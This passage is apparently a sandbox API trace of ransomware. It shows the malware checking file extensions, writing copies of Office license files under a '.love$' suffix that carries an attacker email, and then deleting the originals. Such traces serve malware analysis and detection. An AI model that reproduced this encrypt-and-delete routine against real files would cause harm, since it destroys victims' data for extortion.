Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.120] lstrlenW (lpString=".dbf") returned 4 [0271.120] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.120] lstrlenW (lpString=".1cd") returned 4 [0271.120] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.120] lstrlenW (lpString=".jpg") returned 4 [0271.120] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.121] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0271.121] lstrlenW (lpString="MondoR_Subscription-ul-oob.xrm-ms") returned 33 [0271.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0271.280] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11612) returned 1 [0271.280] CloseHandle (hObject=0x574) returned 1 [0271.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 0x220 [0271.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0271.621] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.621] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0271.623] GetLastError () returned 0x0 [0271.623] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0271.664] WriteFile (in: hFile=0x4b0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0271.666] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.666] WriteFile (in: hFile=0x4b0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x116, lpOverlapped=0x0) returned 1 [0271.666] SetEndOfFile (hFile=0x4b0) returned 1 [0271.667] CloseHandle (hObject=0x4b0) returned 1 [0271.667] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.667] SetEndOfFile (hFile=0x4e4) returned 1 [0271.671] CloseHandle (hObject=0x4e4) returned 1 [0271.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 1 [0271.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.674] lstrlenW (lpString=".doc") returned 4 [0271.674] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.674] lstrlenW (lpString=".docx") returned 5 [0271.674] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.674] lstrlenW (lpString=".pdf") returned 4 [0271.674] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.674] lstrlenW (lpString=".xls") returned 4 [0271.674] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.674] lstrlenW (lpString=".xlsx") returned 5 [0271.674] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.674] lstrlenW (lpString=".ppt") returned 4 [0271.674] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.674] lstrlenW (lpString=".zip") returned 4 [0271.674] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.674] lstrlenW (lpString=".rar") returned 4 [0271.674] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.674] lstrlenW (lpString=".bz2") returned 4 [0271.675] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.675] lstrlenW (lpString=".7z") returned 3 [0271.675] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.675] lstrlenW (lpString=".dbf") returned 4 [0271.675] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.675] lstrlenW (lpString=".1cd") returned 4 [0271.675] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.675] lstrlenW (lpString=".jpg") returned 4 [0271.675] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.675] lstrlenW (lpString=".doc") returned 4 [0271.675] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.675] lstrlenW (lpString=".docx") returned 5 [0271.675] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.675] lstrlenW (lpString=".pdf") returned 4 [0271.675] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.675] lstrlenW (lpString=".xls") returned 4 [0271.675] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.675] lstrlenW (lpString=".xlsx") returned 5 [0271.676] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.676] lstrlenW (lpString=".ppt") returned 4 [0271.676] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.676] lstrlenW (lpString=".zip") returned 4 [0271.676] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.676] lstrlenW (lpString=".rar") returned 4 [0271.676] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.676] lstrlenW (lpString=".bz2") returned 4 [0271.676] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.676] lstrlenW (lpString=".7z") returned 3 [0271.676] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.676] lstrlenW (lpString=".dbf") returned 4 [0271.676] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.676] lstrlenW (lpString=".1cd") returned 4 [0271.676] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0271.676] lstrlenW (lpString=".jpg") returned 4 [0271.676] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.677] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0271.677] lstrlenW (lpString="MondoR_SubTest2-pl.xrm-ms") returned 25 [0271.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0271.678] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11151) returned 1 [0271.678] CloseHandle (hObject=0x4e4) returned 1 [0271.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 0x220 [0271.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0271.679] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.680] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0271.681] GetLastError () returned 0x0 [0271.681] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0271.687] WriteFile (in: hFile=0x4b0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0271.689] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.689] WriteFile (in: hFile=0x4b0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x106, lpOverlapped=0x0) returned 1 [0271.689] SetEndOfFile (hFile=0x4b0) returned 1 [0271.690] CloseHandle (hObject=0x4b0) returned 1 [0272.245] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.245] SetEndOfFile (hFile=0x4e4) returned 1 [0272.261] CloseHandle (hObject=0x4e4) returned 1 [0272.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 1 [0272.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.264] lstrlenW (lpString=".doc") returned 4 [0272.264] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.264] lstrlenW (lpString=".docx") returned 5 [0272.264] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.264] lstrlenW (lpString=".pdf") returned 4 [0272.264] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.264] lstrlenW (lpString=".xls") returned 4 [0272.264] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.264] lstrlenW (lpString=".xlsx") returned 5 [0272.264] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.264] lstrlenW (lpString=".ppt") returned 4 [0272.264] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.264] lstrlenW (lpString=".zip") returned 4 [0272.264] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.264] lstrlenW (lpString=".rar") returned 4 [0272.264] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.264] lstrlenW (lpString=".bz2") returned 4 [0272.265] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.265] lstrlenW (lpString=".7z") returned 3 [0272.265] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.265] lstrlenW (lpString=".dbf") returned 4 [0272.265] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.265] lstrlenW (lpString=".1cd") returned 4 [0272.265] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.265] lstrlenW (lpString=".jpg") returned 4 [0272.265] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.265] lstrlenW (lpString=".doc") returned 4 [0272.265] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.265] lstrlenW (lpString=".docx") returned 5 [0272.265] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.265] lstrlenW (lpString=".pdf") returned 4 [0272.265] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.265] lstrlenW (lpString=".xls") returned 4 [0272.265] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.265] lstrlenW (lpString=".xlsx") returned 5 [0272.265] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.265] lstrlenW (lpString=".ppt") returned 4 [0272.265] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.266] lstrlenW (lpString=".zip") returned 4 [0272.266] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.266] lstrlenW (lpString=".rar") returned 4 [0272.266] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.266] lstrlenW (lpString=".bz2") returned 4 [0272.266] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.266] lstrlenW (lpString=".7z") returned 3 [0272.266] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.266] lstrlenW (lpString=".dbf") returned 4 [0272.266] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.266] lstrlenW (lpString=".1cd") returned 4 [0272.266] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0272.266] lstrlenW (lpString=".jpg") returned 4 [0272.266] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.266] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.267] lstrlenW (lpString="MondoR_SubTest2-ul-oob.xrm-ms") returned 29 [0272.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0272.268] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11595) returned 1 [0272.268] CloseHandle (hObject=0x4e4) returned 1 [0272.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 0x220 [0272.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0272.269] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.269] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0272.271] GetLastError () returned 0x0 [0272.271] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d4b, lpOverlapped=0x0) returned 1 [0272.283] WriteFile (in: hFile=0x57c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0272.284] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.284] WriteFile (in: hFile=0x57c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10e, lpOverlapped=0x0) returned 1 [0272.285] SetEndOfFile (hFile=0x57c) returned 1 [0272.285] CloseHandle (hObject=0x57c) returned 1 [0272.285] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.285] SetEndOfFile (hFile=0x4e4) returned 1 [0272.289] CloseHandle (hObject=0x4e4) returned 1 [0272.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 1 [0272.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.292] lstrlenW (lpString=".doc") returned 4 [0272.292] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.292] lstrlenW (lpString=".docx") returned 5 [0272.292] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.292] lstrlenW (lpString=".pdf") returned 4 [0272.292] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.292] lstrlenW (lpString=".xls") returned 4 [0272.292] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.292] lstrlenW (lpString=".xlsx") returned 5 [0272.292] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.292] lstrlenW (lpString=".ppt") returned 4 [0272.293] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.293] lstrlenW (lpString=".zip") returned 4 [0272.293] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.293] lstrlenW (lpString=".rar") returned 4 [0272.293] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.293] lstrlenW (lpString=".bz2") returned 4 [0272.293] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.293] lstrlenW (lpString=".7z") returned 3 [0272.293] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.293] lstrlenW (lpString=".dbf") returned 4 [0272.293] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.293] lstrlenW (lpString=".1cd") returned 4 [0272.293] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.293] lstrlenW (lpString=".jpg") returned 4 [0272.293] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.293] lstrlenW (lpString=".doc") returned 4 [0272.293] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.293] lstrlenW (lpString=".docx") returned 5 [0272.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.294] lstrlenW (lpString=".pdf") returned 4 [0272.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.294] lstrlenW (lpString=".xls") returned 4 [0272.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.294] lstrlenW (lpString=".xlsx") returned 5 [0272.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.294] lstrlenW (lpString=".ppt") returned 4 [0272.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.294] lstrlenW (lpString=".zip") returned 4 [0272.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.294] lstrlenW (lpString=".rar") returned 4 [0272.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.294] 